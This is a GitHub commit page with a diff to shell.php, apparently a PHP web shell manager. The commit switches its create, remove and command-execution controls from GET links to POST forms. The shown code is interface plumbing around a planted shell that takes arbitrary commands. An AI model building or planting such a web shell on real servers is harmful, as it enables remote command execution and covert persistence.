Skip to content

Commit 6d8ec10

Browse files
committed
use post requests; preserve get params
1 parent 4b4945e commit 6d8ec10

File tree

1 file changed

+13
-6
lines changed

1 file changed

+13
-6
lines changed

Diff for: shell.php

+13-6
Original file line numberDiff line numberDiff line change
@@ -66,15 +66,22 @@ function remove_directory($dir) {
6666

6767
function display_shell($shell) {
6868
if (file_exists($shell)) {
69-
echo "<p>shell at [<a href=\"$shell\">$shell</a>]";
70-
echo " (<a href=\"?remove=1\">remove</a>)</p>";
71-
echo "<form action=\"$_SERVER[PHP_SELF]\" method=\"post\">";
72-
echo "Command: <input autofocus type=\"text\" name=\"cmd\" />";
73-
echo "<input type=\"submit\" value=\"Exec\" /></form>";
69+
echo "<p>shell at [<a href=\"$shell\">$shell</a>]</p>";
70+
echo "<form action=\"\" method=\"post\">";
71+
echo "<input type=\"hidden\" name=\"remove\" value=\"1\" />";
72+
echo "<input type=\"submit\" value=\"remove shell\" />";
73+
echo "</form>";
74+
echo "<form action=\"\" method=\"post\">";
75+
echo "command: <input autofocus type=\"text\" name=\"cmd\" />";
76+
echo "<input type=\"submit\" value=\"exec\" /></form>";
7477
}
7578
else {
7679

77-
echo "<p>no shell found (<a href=\"?create=1\">create</a>)</p>";
80+
echo "<p>no shell found.</p>";
81+
echo "<form action=\"\" method=\"post\">";
82+
echo "<input type=\"hidden\" name=\"create\" value=\"1\" />";
83+
echo "<input type=\"submit\" value=\"create shell\" />";
84+
echo "</form>";
7885
}
7986
}
8087

0 commit comments

Comments
 (0)